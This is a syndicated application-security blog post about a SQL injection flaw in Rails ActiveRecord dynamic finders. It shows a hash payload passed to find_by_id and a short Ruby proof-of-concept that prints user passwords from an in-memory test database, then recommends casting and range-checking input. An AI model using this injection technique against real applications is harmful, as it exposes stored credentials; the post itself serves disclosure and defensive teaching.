2013 is well promising for application security. Two days ago Aaron Patterson,
a rails core member announced a SQL Injection vulnerability for
ActiveRecord ORM included in Rails framework.

Last June we talked about a similiar vulnerability affecting ActiveRecord.

Dynamic finders

The vulnerability is in ORM resource dynamic finder methods.

Carefully crafted requests can be used to turn a dynamic finder method
parameter into a query scope.

Let us suppose you have a User model with two fields: an email and a password.
We also suppose that our code will take an id parameter from the outside and
using it to retrieve a user from the backend.

You can retrieve a user with a given id with a call like this one:

1

  u = User.find_by_id(params[:id])

The find_by_id method is not explicity declared by the User model, it’s
dynamically created by ActiveRecord as well the methods:

• find_by_email
• find_by_password

Exploiting it

If the parameter id passed to the dynamic find_by_id method, contains an Hash
this is used as options to the SELECT statement instead of being part of the
WHERE clause.

1
2

User.find_by_id(1) # REGULAR CALL => SELECT "users".* FROM "users" WHERE "users"."id" = 1 LIMIT 1
User.find_by_id({:select =>"* from users where id=4 --"}) # INJECTION => SELECT * from users where id=4 -- FROM "users" WHERE "users"."id" IS NULL LIMIT 1

This very trivial ruby script shows an in memory SQLite3 database managed with ActiveRecord as ORM.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

#!/usr/bin/env ruby

require 'active_record'
require 'logger'

ActiveRecord::Base.logger = Logger.new(STDERR)

ActiveRecord::Base.establish_connection(
    :adapter => "sqlite3",
    :database  => ":memory:"
)

ActiveRecord::Schema.define do
    create_table :users do |table|
        table.column :email, :string
        table.column :password, :string
    end
end

class User < ActiveRecord::Base
end

User.create(:email=>'admin_email', :password=>'admin_pwd')
User.create(:email=>'foo_email', :password=>'foo_pwd')
User.create(:email=>'bar_email', :password=>'bar_pwd')
User.create(:email=>'vuln_email', :password=>'vuln_pwd')

puts "Using ActiveRecord #{ActiveRecord::VERSION::STRING}"
puts "Exploiting find_by_id"

100.times do  |i|
  u = User.find_by_id({:select =>"* from users where id=#{i} --"})
  puts "Password for user with id #{i} is: #{u.password}" unless u.nil?
end

The old fashioned defensive programming practice

ActiveRecord dynamic finders don’t care about the input you pass them. Of
course it could be up to your application to properly sanitize the input
instead of passing params directly to find_by_id method.

I rather prefer this approach since your application knows exactly the meaning
of that line of code.

If you want your code to be robust against SQL Injection you must sanitize your input before moving forth.

If you need to call find_by_id, the parameter must be an integer
identifier, so your approach would be explicitly casting to an Integer object.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

sanitized_id = params[:id] # you have to consider the value tampered here

begin
  sanitized_id = sanitized_id.to_i
  # make your business logic specific choice here.
  #   * Can an id be negative?
  #   * Can an id be 0?
  #   * Have you got some particular constraint about ids? (e.g. valid ids are between 500 and 1200)
  sanitized_id = nil if sanitized_id <= 0
  sanitized_id = nil unless ( sanitized_id >= 500 and sanitized_id <= 1200)
rescue NoMethodError
  sanitized_id = nil
end

u = User.find_by_id(sanitized_id)

# Do your stuff

...

Of course this is just an example showing a security aware approach when
reading a parameter that you want to manage like an Integer before using it in
your ORM of choice.

Do you think adding some security checks break your agile workout? Do you think
it’s just an unnecessary step adding latency to your fast and furious
website?

You may want to think it twice before answering. My point of view is that for
sentive parameters read from HTTP request you have to carefully handle it
before passing to backend.

Off by one

On Hacker news you can find some
comments about recent Github security issue
exploiting Rails using this SQL Injection to override some popular Rails
authentication framework.

On Phusion blog
a more detailed and security aware dissertion was made in order to explain that
there is of course a problem in the dynamic finder methods for ActiveRecord but
exploiting it it’s a very hard task. And I agree with it.

The main problem looking at the patch
is that in my opinion, it solves this problem but it doesn’t make a solid
framework for input validation before building the query.

Adding your web application code to some positive filtering for the parameters you read helps you in:

• be transparent about the security model of your underlying framework
• be confident that input will fit what you expect from the user with ad hoc controls

The overhead in execution time can be, of course, an issue for impatient
developers but the tradeoff between being compromised and having a couple of if
statements to be executed can be a well tolerated solution.

What do you think about it? Is defensive programming a solution or just a redundant piece of code?
Tell me your thoughts.

*** This is a Security Bloggers Network syndicated blog from armoredcode.com - the application security blog that gets the job done authored by Paolo Perego. Read the original post at: http://armoredcode.com/blog/cve-2012-5664-sql-injection-on-rails-dot-dot-dot-again/